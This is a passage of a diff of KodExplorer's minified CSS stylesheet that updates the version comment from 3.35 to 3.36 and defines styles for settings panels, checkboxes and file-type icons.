.ztree .hover.curSelectedNode .sub_menu{display:inline-block;color:#fff;}textarea#name{width:157px;height:80px;border:1px solid #ddd;font-size:13px;border-radius:3px;outline:none;}textarea#name:focus{border-color:#75a1f0;box-shadow:0 0 4px #75a1f0;}body.setting_page .select_parent_content .ztree{position:absolute;left:110px;width:160px;margin-top:-2px;background-color:#fff;border:1px solid #ccc;overflow-y:auto;height:250px;}body.setting_page .select_parent_content .ztree .sub_menu,body.setting_page .select_parent_content .ztree .curSelectedNode .sub_menu{opacity:0.01;filter:alpha(opacity=1);}#body .system_conennt{position:absolute;border:1px solid #ddd;box-shadow:0 0 5px #ddd;bottom:10px;right:30px;top:38px;left:0px;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}#body .system_conennt .group_title_span{text-decoration:none;color:#428bca;}#body .system_conennt .left_freame{position:absolute;bottom:0px;top:0px;overflow:auto;width:180px;background:#FEFEFF;border-right:1px solid #ddd;}#body .system_conennt .left_freame .left_header{position:fixed;}#body .system_conennt .left_freame .left_header .tab{width:90px;margin-left:-1px;text-align:center;float:left;height:30px;cursor:pointer;line-height:30px;border:1px solid #d2d2d2;border-top:none;border-right:none;background:#DAE9FD;}#body .system_conennt .left_freame .left_header .tab.this{border-color:1px solid #FEFEFF;border-bottom:none;color:#555;background:#FEFEFF;font-weight:800;}#body .system_conennt .left_freame .left_content{margin-top:35px;}#body .system_conennt .left_freame .left_content .role_box{padding:10px 10px;}#body .system_conennt .left_freame .left_content .role_box ul{list-style:none;}#body .system_conennt .left_freame .left_content .role_box ul li{border-radius:3px;height:30px;line-height:30px;padding-left:20px;margin-bottom:3px;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .system_conennt .left_freame .left_content .role_box ul li:hover{background:#eee;}#body .system_conennt .left_freame .left_content .role_box ul li.select{background:#63acff;color:#fff;}#body .system_conennt .left_freame .left_content .role_box .role_cell .sub_menu{float:right;line-height:30px;height:30px;width:30px;text-align:center;}#body .system_conennt .left_freame .left_content .ztree li a{border-radius:3px;}#body .system_conennt .left_freame .left_content .ztree li a.hover{border:1px solid #eee;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode,#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode.hover{color:#fff;}#body .system_conennt .right_frame{position:absolute;bottom:0px;top:0px;left:175px;right:0px;overflow:auto;padding:10px 10px 10px 20px;}#body .system_conennt .right_frame .group_title{font-size:25px;padding:8px 0;}#body .system_conennt .right_frame .group_title .group_title_span{border-bottom:2px solid;padding-bottom:3px;}#body .system_conennt .right_frame .group_title .group_size{position:absolute;margin-left:10px;border-radius:2px;font-size:12px;background-color:#f6f6f6;margin-top:5px;padding:6px 10px 0px;}#body .system_conennt .right_frame .user_tool_bar{background:#eee;border-radius:3px;padding:7px 0px;margin:10px 0px;}#body .system_conennt .right_frame .user_tool_bar .dropdown-menu{min-width:100px;}#body .system_conennt .right_frame .user_list table{border:none;border-top:1px solid #ddd;border-bottom:1px solid #ddd;}#body .system_conennt .right_frame .user_list table tr{background:#fff;border:none;border-bottom:1px solid #eee;color:#666;}#body .system_conennt .right_frame .user_list table tr.title,#body .system_conennt .right_frame .user_list table tr.title:hover{background:#fafafa;border-top:1px solid #ddd;font-size:1em;color:#666;}#body .system_conennt .right_frame .user_list table tr:hover,#body .system_conennt .right_frame .user_list table tr.selected{background:#fff9ed;cursor:default;}#body .system_conennt .right_frame .user_list table tr.unuse{opacity:0.3;filter:alpha(opacity=30);}#body .system_conennt .right_frame .user_list table tr td{height:30px;line-height:30px;padding:0;border-right:none;width:auto;}#body .system_conennt .right_frame .user_list table tr td .space_info_bar{height:25px;}#body .system_conennt .right_frame .user_list table tr td .space_process{margin-top:6px;margin-bottom:-6px;}#body .system_conennt .right_frame .user_list table tr td .space_info{width:110%;overflow:hidden;}#body .system_conennt .right_frame .user_list table tr td.select{width:30px;padding-left:10px;}#body .system_conennt .right_frame .user_list table tr td.select input{position:relative;}#body .system_conennt .right_frame .user_list table tr td.select input:focus{box-shadow:none;}#body .system_conennt .right_frame .user_list table tr td.select:hover{background:#f6f6f6;}#body .system_conennt .right_frame .user_list table tr td.name{width:95px;}#body .system_conennt .right_frame .user_list table tr td.name a{border-bottom:1px solid;padding:2px;}#body .system_conennt .right_frame .user_list table tr td.role{width:auto;min-width:90px;}#body .system_conennt .right_frame .user_list table tr td.space{width:120px;}#body .system_conennt .right_frame .user_list table tr td.group{width:auto;}#body .system_conennt .right_frame .user_list table tr td.action{width:auto;}#body .system_conennt .right_frame .user_list table tr td .label-small{font-size:10px;font-style:italic;color:#698ebf;background:#E9F3F9;padding:1px;border-radius:2px;}body.setting_page .select_user_group{padding:20px;font-size:1em;}body.setting_page .select_user_group .title_info .title{display:block;width:210px;float:left;padding-bottom:10px;}body.setting_page .select_user_group .title_info .title_right{margin-left:50px;}body.setting_page .select_user_group .right_content,body.setting_page .select_user_group .center_action,body.setting_page .select_user_group .left_content{border:1px solid #eee;float:left;width:235px;height:300px;}body.setting_page .select_user_group .left_content{margin:0px !important;overflow:auto;}body.setting_page .select_user_group .center_action{width:25px;border:none;}body.setting_page .select_user_group .center_action i{width:30px;height:30px;display:block;margin-top:150px;font-size:22px;color:#999;text-align:center;}body.setting_page .select_user_group .select_group_right{padding:0;list-style:none;}body.setting_page .select_user_group .select_group_right .group_self{height:30px;line-height:30px;border-radius:2px;}body.setting_page .select_user_group .select_group_right .group_self:hover{background:#def;}body.setting_page .select_user_group .select_group_right .group_self .title{color:#1e5494;padding-left:5px;}body.setting_page .select_user_group .select_group_right .group_self .icon-group{padding-right:10px;}body.setting_page .select_user_group .select_group_right .group_self .remove{float:right;cursor:pointer;height:30px;line-height:30px;width:22px;font-size:1.25em;text-align:center;color:#aaa;}body.setting_page .select_user_group .select_group_right .group_self .remove:hover{color:#f33;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li{padding-left:1em;font-size:13px;height:24px;line-height:24px;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li.selected{background:#337ab7;color:#fff;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li.selected:hover{background:#337ab7;color:#fff;}body.setting_page .select_user_group .select_group_right .select_drop_menu .dropdown-menu li:hover{background:#def;color:#337ab7;}body.setting_page .select_user_group .group_select_box{font-size:1.1em;padding-right:2px;color:#aaa;position:relative;top:1px;display:inline-block;width:16px;}body.setting_page .select_user_group .group_select_box:before{content:"\f096";}body.setting_page .select_user_group #user_group_select a.this .group_select_box:before{content:"\f046";color:#3B99FC;}body.setting_page .select_user_group .select_drop_menu{margin-top:2px;float:right;}body.setting_page .select_user_group .select_drop_menu .btn{padding:0px 0.5em;margin-top:3px;} -/* ver 3.35(2016-12-23) [build 1482476940.3685] */ \ No newline at end of file +/* power by kodexplorer ver 3.36(2016-12-30) [build 1483112853.511] */ +::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-7z,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none 